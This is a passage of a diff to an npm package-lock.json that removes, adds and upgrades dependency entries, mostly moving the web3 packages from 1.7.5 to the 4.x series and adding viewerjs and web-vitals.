"integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", - "dev": true, - "requires": { - "querystringify": "^2.1.1", - "requires-port": "^1.0.0" - } - }, - "url-parse-lax": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-1.0.0.tgz", - "integrity": "sha512-BVA4lR5PIviy2PMseNd2jbFQ+jwSwQGdJejf5ctd1rEXt0Ypd7yanUK9+lYechVlN5VaTJGsu2U/3MDDu6KgBA==", - "requires": { - "prepend-http": "^1.0.1" - } - }, - "url-set-query": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/url-set-query/-/url-set-query-1.0.0.tgz", - "integrity": "sha512-3AChu4NiXquPfeckE5R5cGdiHCMWJx1dwCWOmWIL4KHAziJNOFIYJlpGFeKDvwLPHovZRCxK3cYlwzqI9Vp+Gg==" - }, - "url-to-options": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/url-to-options/-/url-to-options-1.0.1.tgz", - "integrity": "sha512-0kQLIzG4fdk/G5NONku64rSH/x32NOA39LVQqlK8Le6lvTF6GGRJpqaQFGgU+CLwySIqBSMdwYM0sYcW9f6P4A==" - }, "utf-8-validate": { "version": "5.0.7", "resolved": "https://registry.npmjs.org/utf-8-validate/-/utf-8-validate-5.0.7.tgz", "integrity": "sha512-vLt1O5Pp+flcArHGIyKEQq883nBt8nN8tVBcoL0qUXj2XT1n7p70yGIq2VK98I5FdZ1YHc0wk/koOnHjnXWk1Q==", + "optional": true, + "peer": true, "requires": { "node-gyp-build": "^4.3.0" } }, - "utf8": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/utf8/-/utf8-3.0.0.tgz", - "integrity": "sha512-E8VjFIQ/TyQgp+TZfS6l8yp/xWppSAHzidGiRrqe4bK4XP9pTRyKFgGJpO3SN7zdX4DeomTrwaseCHovfpFcqQ==" - }, "util": { - "version": "0.12.4", - "resolved": "https://registry.npmjs.org/util/-/util-0.12.4.tgz", - "integrity": "sha512-bxZ9qtSlGUWSOy9Qa9Xgk11kSslpuZwaxCg4sNIDj6FLucDab2JxnHwyNTCpHMtK1MjoQiWQ6DiUMZYbSrO+Sw==", + "version": "0.12.5", + "resolved": "https://registry.npmjs.org/util/-/util-0.12.5.tgz", + "integrity": "sha512-kZf/K6hEIrWHI6XqOFUiiMa+79wE/D8Q+NCNAWclkyg3b4d2k7s0QGepNjiABc+aR3N1PAyHL7p6UcLY6LmrnA==", "requires": { "inherits": "^2.0.3", "is-arguments": "^1.0.4", "is-generator-function": "^1.0.7", "is-typed-array": "^1.1.3", - "safe-buffer": "^5.1.2", "which-typed-array": "^1.1.2" } }, @@ -32063,20 +26790,15 @@ "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" }, - "utils-merge": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", - "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==" - }, "uuid": { "version": "3.4.0", "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==" }, "v8-to-istanbul": { - "version": "9.0.1", - "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.0.1.tgz", - "integrity": "sha512-74Y4LqY74kLE6IFyIjPtkSTWzUZmj8tdHT9Ii/26dvQ6K9Dl2NbEfj0XgU2sHCtKgt5VupqhlO/5aWuqS+IY1w==", + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.1.0.tgz", + "integrity": "sha512-6z3GW9x8G1gd+JIIgQQQxXuiJtCXeAjp6RaPEPLv62mH3iPHPxV6W3robxtCzNErRo6ZwTmzWhsbNvjyEBKzKA==", "dev": true, "requires": { "@jridgewell/trace-mapping": "^0.3.12", @@ -32084,28 +26806,6 @@ "convert-source-map": "^1.6.0" } }, - "validate-npm-package-license": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", - "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "spdx-correct": "^3.0.0", - "spdx-expression-parse": "^3.0.0" - } - }, - "varint": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/varint/-/varint-5.0.2.tgz", - "integrity": "sha512-lKxKYG6H03yCZUpAGOPOsMcGxd1RHCu1iKvEHYDPmTyq2HueGhD73ssNBqqQWfvYs04G9iUFRvmAVLW20Jw6ow==" - }, - "vary": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", - "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==" - }, "verror": { "version": "1.10.0", "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", @@ -32116,22 +26816,18 @@ "extsprintf": "^1.2.0" } }, - "w3c-hr-time": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz", - "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==", - "dev": true, - "requires": { - "browser-process-hrtime": "^1.0.0" - } + "viewerjs": { + "version": "1.11.7", + "resolved": "https://registry.npmjs.org/viewerjs/-/viewerjs-1.11.7.tgz", + "integrity": "sha512-0JuVqOmL5v1jmEAlG5EBDR3XquxY8DWFQbFMprOXgaBB0F7Q/X9xWdEaQc59D8xzwkdUgXEMSSknTpriq95igg==" }, "w3c-xmlserializer": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-3.0.0.tgz", - "integrity": "sha512-3WFqGEgSXIyGhOmAFtlicJNMjEps8b1MG31NCA0/vOF9+nKMUW1ckhi9cnNHmf88Rzw5V+dwIwsm2C7X8k9aQg==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz", + "integrity": "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA==", "dev": true, "requires": { - "xml-name-validator": "^4.0.0" + "xml-name-validator": "^5.0.0" } }, "walker": { @@ -32144,270 +26840,196 @@ } }, "watchpack": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.0.tgz", - "integrity": "sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg==", + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.1.tgz", + "integrity": "sha512-8wrBCMtVhqcXP2Sup1ctSkga6uc2Bx0IIvKyT7yTFier5AXHooSI+QyQQAtTb7+E0IUCCKyTFmXqdqgum2XWGg==", "dev": true, "requires": { "glob-to-regexp": "^0.4.1", "graceful-fs": "^4.1.2" } }, - "web3": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3/-/web3-1.7.5.tgz", - "integrity": "sha512-3jHZTWyXt975AOXgnZKayiSWDLpoSKk9fZtLk1hURQtt7AdSbXPT8AK9ooBCm0Dt3GYaOeNcHGaiHC3gtyqhLg==", - "requires": { - "web3-bzz": "1.7.5", - "web3-core": "1.7.5", - "web3-eth": "1.7.5", - "web3-eth-personal": "1.7.5", - "web3-net": "1.7.5", - "web3-shh": "1.7.5", - "web3-utils": "1.7.5" - } + "web-vitals": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/web-vitals/-/web-vitals-5.1.0.tgz", + "integrity": "sha512-ArI3kx5jI0atlTtmV0fWU3fjpLmq/nD3Zr1iFFlJLaqa5wLBkUSzINwBPySCX/8jRyjlmy1Volw1kz1g9XE4Jg==" }, - "web3-bzz": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-bzz/-/web3-bzz-1.7.5.tgz", - "integrity": "sha512-Z53sY0YK/losqjJncmL4vP0zZI9r6tiXg6o7R6e1JD2Iy7FH3serQvU+qXmPjqEBzsnhf8wTG+YcBPB3RHpr0Q==", - "requires": { - "@types/node": "^12.12.6", - "got": "12.1.0", - "swarm-js": "^0.1.40" - }, - "dependencies": { - "@types/node": { - "version": "12.20.55", - "resolved": "https://registry.npmjs.org/@types/node/-/node-12.20.55.tgz", - "integrity": "sha512-J8xLz7q2OFulZ2cyGTLE1TbbZcjpno7FaN6zdJNrgAdrJ+DZzh/uFR6YrTb4C+nXakvud8Q4+rbhoIWlYQbUFQ==" - } + "web3": { + "version": "4.12.1", + "resolved": "https://registry.npmjs.org/web3/-/web3-4.12.1.tgz", + "integrity": "sha512-zIFUPdgo2uG5Vbl7C4KrTv8dmWKN3sGnY/GundbiJzcaJZDxaCyu3a5HXAcgUM1VvvsVb1zaUQAFPceq05/q/Q==", + "requires": { + "web3-core": "^4.5.1", + "web3-errors": "^1.3.0", + "web3-eth": "^4.8.2", + "web3-eth-abi": "^4.2.3", + "web3-eth-accounts": "^4.2.1", + "web3-eth-contract": "^4.7.0", + "web3-eth-ens": "^4.4.0", + "web3-eth-iban": "^4.0.7", + "web3-eth-personal": "^4.0.8", + "web3-net": "^4.1.0", + "web3-providers-http": "^4.2.0", + "web3-providers-ws": "^4.0.8", + "web3-rpc-methods": "^1.3.0", + "web3-rpc-providers": "^1.0.0-rc.2", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.1", + "web3-validator": "^2.0.6" } }, "web3-core": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-core/-/web3-core-1.7.5.tgz", - "integrity": "sha512-UgOWXZr1fR/3cUQJKWbfMwRxj1/N7o6RSd/dHqdXBlOD+62EjNZItFmLRg5veq5kp9YfXzrNw9bnDkXfsL+nKQ==", - "requires": { - "@types/bn.js": "^5.1.0", - "@types/node": "^12.12.6", - "bignumber.js": "^9.0.0", - "web3-core-helpers": "1.7.5", - "web3-core-method": "1.7.5", - "web3-core-requestmanager": "1.7.5", - "web3-utils": "1.7.5" - }, - "dependencies": { - "@types/bn.js": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/@types/bn.js/-/bn.js-5.1.0.tgz", - "integrity": "sha512-QSSVYj7pYFN49kW77o2s9xTCwZ8F2xLbjLLSEVh8D2F4JUhZtPAGOFLTD+ffqksBx/u4cE/KImFjyhqCjn/LIA==", - "requires": { - "@types/node": "*" - } - }, - "@types/node": { - "version": "12.20.55", - "resolved": "https://registry.npmjs.org/@types/node/-/node-12.20.55.tgz", - "integrity": "sha512-J8xLz7q2OFulZ2cyGTLE1TbbZcjpno7FaN6zdJNrgAdrJ+DZzh/uFR6YrTb4C+nXakvud8Q4+rbhoIWlYQbUFQ==" - } - } - }, - "web3-core-helpers": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-core-helpers/-/web3-core-helpers-1.7.5.tgz", - "integrity": "sha512-lDDjTks6Q6aNUO87RYrY2xub3UWTKr/RIWxpHJODEqkLxZS1dWdyliJ6aIx3031VQwsNT5HE7NvABe/t0p3iDQ==", - "requires": { - "web3-eth-iban": "1.7.5", - "web3-utils": "1.7.5" - } - }, - "web3-core-method": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-core-method/-/web3-core-method-1.7.5.tgz", - "integrity": "sha512-ApTvq1Llzlbxmy0n4L7QaE6NodIsR80VJqk8qN4kLg30SGznt/pNJFebryLI2kpyDmxSgj1TjEWzmHJBp6FhYg==", - "requires": { - "@ethersproject/transactions": "^5.6.2", - "web3-core-helpers": "1.7.5", - "web3-core-promievent": "1.7.5", - "web3-core-subscriptions": "1.7.5", - "web3-utils": "1.7.5" - } - }, - "web3-core-promievent": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-core-promievent/-/web3-core-promievent-1.7.5.tgz", - "integrity": "sha512-uZ1VRErVuhiLtHlyt3oEH/JSvAf6bWPndChHR9PG7i1Zfqm6ZVCeM91ICTPmiL8ddsGQOxASpnJk4vhApcTIww==", - "requires": { - "eventemitter3": "4.0.4" - } - }, - "web3-core-requestmanager": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-core-requestmanager/-/web3-core-requestmanager-1.7.5.tgz", - "integrity": "sha512-3KpfxW/wVH4mgwWEsSJGHKrtRVoijWlDxtUrm17xgtqRNZ2mFolifKnHAUKa0fY48C9CrxmcCiMIi3W4G6WYRw==", - "requires": { - "util": "^0.12.0", - "web3-core-helpers": "1.7.5", - "web3-providers-http": "1.7.5", - "web3-providers-ipc": "1.7.5", - "web3-providers-ws": "1.7.5" - } - }, - "web3-core-subscriptions": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-core-subscriptions/-/web3-core-subscriptions-1.7.5.tgz", - "integrity": "sha512-YK6utQ7Wwjbe4XZOIA8quWGBPi1lFDS1A+jQYwxKKrCvm6BloBNc3FhvrcSYlDhLe/kOy8+2Je8i9amndgT4ww==", + "version": "4.5.1", + "resolved": "https://registry.npmjs.org/web3-core/-/web3-core-4.5.1.tgz", + "integrity": "sha512-mFMOO/IWdKsLL1o2whh3oJ0LCG9P3l5c4lpiMoVsVln3QXh/B0Gf8gW3aY8S+Ixm0OHyzFDXJVc2CodxqmI4Gw==", + "requires": { + "web3-errors": "^1.3.0", + "web3-eth-accounts": "^4.2.0", + "web3-eth-iban": "^4.0.7", + "web3-providers-http": "^4.2.0", + "web3-providers-ipc": "^4.0.7", + "web3-providers-ws": "^4.0.8", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.1", + "web3-validator": "^2.0.6" + } + }, + "web3-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/web3-errors/-/web3-errors-1.3.0.tgz", + "integrity": "sha512-j5JkAKCtuVMbY3F5PYXBqg1vWrtF4jcyyMY1rlw8a4PV67AkqlepjGgpzWJZd56Mt+TvHy6DA1F/3Id8LatDSQ==", "requires": { - "eventemitter3": "4.0.4", - "web3-core-helpers": "1.7.5" + "web3-types": "^1.7.0" } }, "web3-eth": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-eth/-/web3-eth-1.7.5.tgz", - "integrity": "sha512-BucjvqZyDWYkGlsFX+OnOBub0YutlC1KZiNGibdmvtNX0NQK+8iw1uzAoL9yTTwCSszL7lnkFe8N+HCOl9B4Dw==", - "requires": { - "web3-core": "1.7.5", - "web3-core-helpers": "1.7.5", - "web3-core-method": "1.7.5", - "web3-core-subscriptions": "1.7.5", - "web3-eth-abi": "1.7.5", - "web3-eth-accounts": "1.7.5", - "web3-eth-contract": "1.7.5", - "web3-eth-ens": "1.7.5", - "web3-eth-iban": "1.7.5", - "web3-eth-personal": "1.7.5", - "web3-net": "1.7.5", - "web3-utils": "1.7.5" + "version": "4.8.2", + "resolved": "https://registry.npmjs.org/web3-eth/-/web3-eth-4.8.2.tgz", + "integrity": "sha512-DLV/fIMG6gBp/B0gv0+G4FzxZ4YCDQsY3lzqqv7avwh3uU7/O27aifCUcFd7Ye+3ixTqCjAvLEl9wYSeyG3zQw==", + "requires": { + "setimmediate": "^1.0.5", + "web3-core": "^4.5.0", + "web3-errors": "^1.2.1", + "web3-eth-abi": "^4.2.3", + "web3-eth-accounts": "^4.1.3", + "web3-net": "^4.1.0", + "web3-providers-ws": "^4.0.8", + "web3-rpc-methods": "^1.3.0", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.1", + "web3-validator": "^2.0.6" } }, "web3-eth-abi": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-eth-abi/-/web3-eth-abi-1.7.5.tgz", - "integrity": "sha512-qWHvF7sayxql9BD1yqK9sZRLBQ66eJzGeaU53Y1PRq2iFPrhY6NUWxQ3c3ps0rg+dyObvRbloviWpKXcS4RE/A==", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/web3-eth-abi/-/web3-eth-abi-4.2.3.tgz", + "integrity": "sha512-rPVwTn0O1CzbtfXwEfIjUP0W5Y7u1OFjugwKpSqJzPQE6+REBg6OELjomTGZBu+GThxHnv0rp15SOxvqp+tyXA==", "requires": { - "@ethersproject/abi": "^5.6.3", - "web3-utils": "1.7.5" + "abitype": "0.7.1", + "web3-errors": "^1.2.0", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.1", + "web3-validator": "^2.0.6" } }, "web3-eth-accounts": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-eth-accounts/-/web3-eth-accounts-1.7.5.tgz", - "integrity": "sha512-AzMLoTj3RGwKpyp3x3TtHrEeU4VpR99iMOD6NKrWSDumS6QEi0lCo+y7QZhdTlINw3iIA3SFIdvbAOO4NCHSDg==", - "requires": { - "@ethereumjs/common": "^2.5.0", - "@ethereumjs/tx": "^3.3.2", - "crypto-browserify": "3.12.0", - "eth-lib": "0.2.8", - "ethereumjs-util": "^7.0.10", - "scrypt-js": "^3.0.1", - "uuid": "3.3.2", - "web3-core": "1.7.5", - "web3-core-helpers": "1.7.5", - "web3-core-method": "1.7.5", - "web3-utils": "1.7.5" - }, - "dependencies": { - "bn.js": { - "version": "4.12.0", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", - "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==" - }, - "eth-lib": { - "version": "0.2.8", - "resolved": "https://registry.npmjs.org/eth-lib/-/eth-lib-0.2.8.tgz", - "integrity": "sha512-ArJ7x1WcWOlSpzdoTBX8vkwlkSQ85CjjifSZtV4co64vWxSV8geWfPI9x4SVYu3DSxnX4yWFVTtGL+j9DUFLNw==", + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/web3-eth-accounts/-/web3-eth-accounts-4.2.1.tgz", + "integrity": "sha512-aOlEZFzqAgKprKs7+DGArU4r9b+ILBjThpeq42aY7LAQcP+mSpsWcQgbIRK3r/n3OwTYZ3aLPk0Ih70O/LwnYA==", + "requires": { + "@ethereumjs/rlp": "^4.0.1", + "crc-32": "^1.2.2", + "ethereum-cryptography": "^2.0.0", + "web3-errors": "^1.3.0", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.1", + "web3-validator": "^2.0.6" + }, + "dependencies": { + "ethereum-cryptography": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/ethereum-cryptography/-/ethereum-cryptography-2.2.1.tgz", + "integrity": "sha512-r/W8lkHSiTLxUxW8Rf3u4HGB0xQweG2RyETjywylKZSzLWoWAijRz8WCuOtJ6wah+avllXBqZuk29HCCvhEIRg==", "requires": { - "bn.js": "^4.11.6", - "elliptic": "^6.4.0", - "xhr-request-promise": "^0.1.2" + "@noble/curves": "1.4.2", + "@noble/hashes": "1.4.0", + "@scure/bip32": "1.4.0", + "@scure/bip39": "1.3.0" } - }, - "uuid": { - "version": "3.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz", - "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==" } } }, "web3-eth-contract": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-eth-contract/-/web3-eth-contract-1.7.5.tgz", - "integrity": "sha512-qab7NPJRKRlTs58ozsqK8YIEwWpxIm3vD/okSIKBGkFx5gIHWW+vGmMh5PDSfefLJM9rCd+T+Lc0LYvtME7uqg==", - "requires": { - "@types/bn.js": "^5.1.0", - "web3-core": "1.7.5", - "web3-core-helpers": "1.7.5", - "web3-core-method": "1.7.5", - "web3-core-promievent": "1.7.5", - "web3-core-subscriptions": "1.7.5", - "web3-eth-abi": "1.7.5", - "web3-utils": "1.7.5" - }, - "dependencies": { - "@types/bn.js": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/@types/bn.js/-/bn.js-5.1.0.tgz", - "integrity": "sha512-QSSVYj7pYFN49kW77o2s9xTCwZ8F2xLbjLLSEVh8D2F4JUhZtPAGOFLTD+ffqksBx/u4cE/KImFjyhqCjn/LIA==", - "requires": { - "@types/node": "*" - } + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/web3-eth-contract/-/web3-eth-contract-4.7.0.tgz", + "integrity": "sha512-fdStoBOjFyMHwlyJmSUt/BTDL1ATwKGmG3zDXQ/zTKlkkW/F/074ut0Vry4GuwSBg9acMHc0ycOiZx9ZKjNHsw==", + "requires": { + "@ethereumjs/rlp": "^5.0.2", + "web3-core": "^4.5.1", + "web3-errors": "^1.3.0", + "web3-eth": "^4.8.2", + "web3-eth-abi": "^4.2.3", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.1", + "web3-validator": "^2.0.6" + }, + "dependencies": { + "@ethereumjs/rlp": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/@ethereumjs/rlp/-/rlp-5.0.2.tgz", + "integrity": "sha512-DziebCdg4JpGlEqEdGgXmjqcFoJi+JGulUXwEjsZGAscAQ7MyD/7LE/GVCP29vEQxKc7AAwjT3A2ywHp2xfoCA==" } } }, "web3-eth-ens": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-eth-ens/-/web3-eth-ens-1.7.5.tgz", - "integrity": "sha512-k1Q0msdRv/wac2egpZBIwG3n/sa/KdrVmVJvFm471gLTL4xfUizV5qJjkDVf+ikf9JyDvWJTs5eWNUUbOFIw/A==", + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/web3-eth-ens/-/web3-eth-ens-4.4.0.tgz", + "integrity": "sha512-DeyVIS060hNV9g8dnTx92syqvgbvPricE3MerCxe/DquNZT3tD8aVgFfq65GATtpCgDDJffO2bVeHp3XBemnSQ==", "requires": { - "content-hash": "^2.5.2", - "eth-ens-namehash": "2.0.8", - "web3-core": "1.7.5", - "web3-core-helpers": "1.7.5", - "web3-core-promievent": "1.7.5", - "web3-eth-abi": "1.7.5", - "web3-eth-contract": "1.7.5", - "web3-utils": "1.7.5" + "@adraffy/ens-normalize": "^1.8.8", + "web3-core": "^4.5.0", + "web3-errors": "^1.2.0", + "web3-eth": "^4.8.0", + "web3-eth-contract": "^4.5.0", + "web3-net": "^4.1.0", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.0", + "web3-validator": "^2.0.6" } }, "web3-eth-iban": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-eth-iban/-/web3-eth-iban-1.7.5.tgz", - "integrity": "sha512-mn2W5t/1IpL8OZvzAabLKT4kvwRnZSJ9K0tctndl9sDNWkfITYQibEEhUaNNA50Q5fJKgVudHI/m0gwIVTyG8Q==", + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/web3-eth-iban/-/web3-eth-iban-4.0.7.tgz", + "integrity": "sha512-8weKLa9KuKRzibC87vNLdkinpUE30gn0IGY027F8doeJdcPUfsa4IlBgNC4k4HLBembBB2CTU0Kr/HAOqMeYVQ==", "requires": { - "bn.js": "^5.2.1", - "web3-utils": "1.7.5" + "web3-errors": "^1.1.3", + "web3-types": "^1.3.0", + "web3-utils": "^4.0.7", + "web3-validator": "^2.0.3" } }, "web3-eth-personal": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-eth-personal/-/web3-eth-personal-1.7.5.tgz", - "integrity": "sha512-txh2P/eN8I4AOUKFi9++KKddoD0tWfCuu9Y1Kc41jSRbk6smO88Fum0KWNmYFYhSCX2qiknS1DfqsONl3igoKQ==", + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/web3-eth-personal/-/web3-eth-personal-4.0.8.tgz", + "integrity": "sha512-sXeyLKJ7ddQdMxz1BZkAwImjqh7OmKxhXoBNF3isDmD4QDpMIwv/t237S3q4Z0sZQamPa/pHebJRWVuvP8jZdw==", "requires": { - "@types/node": "^12.12.6", - "web3-core": "1.7.5", - "web3-core-helpers": "1.7.5", - "web3-core-method": "1.7.5", - "web3-net": "1.7.5", - "web3-utils": "1.7.5" - }, - "dependencies": { - "@types/node": { - "version": "12.20.55", - "resolved": "https://registry.npmjs.org/@types/node/-/node-12.20.55.tgz", - "integrity": "sha512-J8xLz7q2OFulZ2cyGTLE1TbbZcjpno7FaN6zdJNrgAdrJ+DZzh/uFR6YrTb4C+nXakvud8Q4+rbhoIWlYQbUFQ==" - } + "web3-core": "^4.3.0", + "web3-eth": "^4.3.1", + "web3-rpc-methods": "^1.1.3", + "web3-types": "^1.3.0", + "web3-utils": "^4.0.7", + "web3-validator": "^2.0.3" } }, "web3-net": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-net/-/web3-net-1.7.5.tgz", - "integrity": "sha512-xwuCb2YWw49PmW81AJQ/G+Xi2ikRsYyZXSgyPt4LmZuKjiqg/6kSdK8lZvUi3Pi3wM+QDBXbpr73M/WEkW0KvA==", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/web3-net/-/web3-net-4.1.0.tgz", + "integrity": "sha512-WWmfvHVIXWEoBDWdgKNYKN8rAy6SgluZ0abyRyXOL3ESr7ym7pKWbfP4fjApIHlYTh8tNqkrdPfM4Dyi6CA0SA==", "requires": { - "web3-core": "1.7.5", - "web3-core-method": "1.7.5", - "web3-utils": "1.7.5" + "web3-core": "^4.4.0", + "web3-rpc-methods": "^1.3.0", + "web3-types": "^1.6.0", + "web3-utils": "^4.3.0" } }, "web3-provider-engine": { @@ -32491,74 +27113,132 @@ } }, "web3-providers-http": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-providers-http/-/web3-providers-http-1.7.5.tgz", - "integrity": "sha512-vPgr4Kzy0M3CHtoP/Bh7qwK/D9h2fhjpoqctdMWVJseOfeTgfOphCKN0uwV8w2VpZgDPXA8aeTdBx5OjmDdStA==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/web3-providers-http/-/web3-providers-http-4.2.0.tgz", + "integrity": "sha512-IPMnDtHB7dVwaB7/mMxAZzyq7d5ezfO1+Vw0bNfAeIi7gaDlJiggp85SdyAfOgov8AMUA/dyiY72kQ0KmjXKvQ==", "requires": { - "abortcontroller-polyfill": "^1.7.3", - "cross-fetch": "^3.1.4", - "es6-promise": "^4.2.8", - "web3-core-helpers": "1.7.5" + "cross-fetch": "^4.0.0", + "web3-errors": "^1.3.0", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.1" }, "dependencies": { "cross-fetch": { - "version": "3.1.5", - "resolved": "https://registry.npmjs.org/cross-fetch/-/cross-fetch-3.1.5.tgz", - "integrity": "sha512-lvb1SBsI0Z7GDwmuid+mU3kWVBwTVUbe7S0H52yaaAdQOXq2YktTCZdlAcNKFzE6QtRz0snpw9bNiPeOIkkQvw==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/cross-fetch/-/cross-fetch-4.0.0.tgz", + "integrity": "sha512-e4a5N8lVvuLgAWgnCrLr2PP0YyDOTHa9H/Rj54dirp61qXnNq46m82bRhNqIA5VccJtWBvPTFRV3TtvHUKPB1g==", "requires": { - "node-fetch": "2.6.7" + "node-fetch": "^2.6.12" } } } }, "web3-providers-ipc": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-providers-ipc/-/web3-providers-ipc-1.7.5.tgz", - "integrity": "sha512-aNHx+RAROzO+apDEzy8Zncj78iqWBadIXtpmFDg7uiTn8i+oO+IcP1Yni7jyzkltsysVJHgHWG4kPx50ANCK3Q==", + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/web3-providers-ipc/-/web3-providers-ipc-4.0.7.tgz", + "integrity": "sha512-YbNqY4zUvIaK2MHr1lQFE53/8t/ejHtJchrWn9zVbFMGXlTsOAbNoIoZWROrg1v+hCBvT2c9z8xt7e/+uz5p1g==", + "optional": true, "requires": { - "oboe": "2.1.5", - "web3-core-helpers": "1.7.5" + "web3-errors": "^1.1.3", + "web3-types": "^1.3.0", + "web3-utils": "^4.0.7" } }, "web3-providers-ws": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-providers-ws/-/web3-providers-ws-1.7.5.tgz", - "integrity": "sha512-9uJNVVkIGC8PmM9kNbgPth56HDMSSsxZh3ZEENdwO3LNWemaADiQYUDCsD/dMVkn0xsGLHP5dgAy4Q5msqySLg==", + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/web3-providers-ws/-/web3-providers-ws-4.0.8.tgz", + "integrity": "sha512-goJdgata7v4pyzHRsg9fSegUG4gVnHZSHODhNnn6J93ykHkBI1nz4fjlGpcQLUMi4jAMz6SHl9Ibzs2jj9xqPw==", "requires": { - "eventemitter3": "4.0.4", - "web3-core-helpers": "1.7.5", - "websocket": "^1.0.32" + "@types/ws": "8.5.3", + "isomorphic-ws": "^5.0.0", + "web3-errors": "^1.2.0", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.1", + "ws": "^8.17.1" } }, - "web3-shh": { - "version": 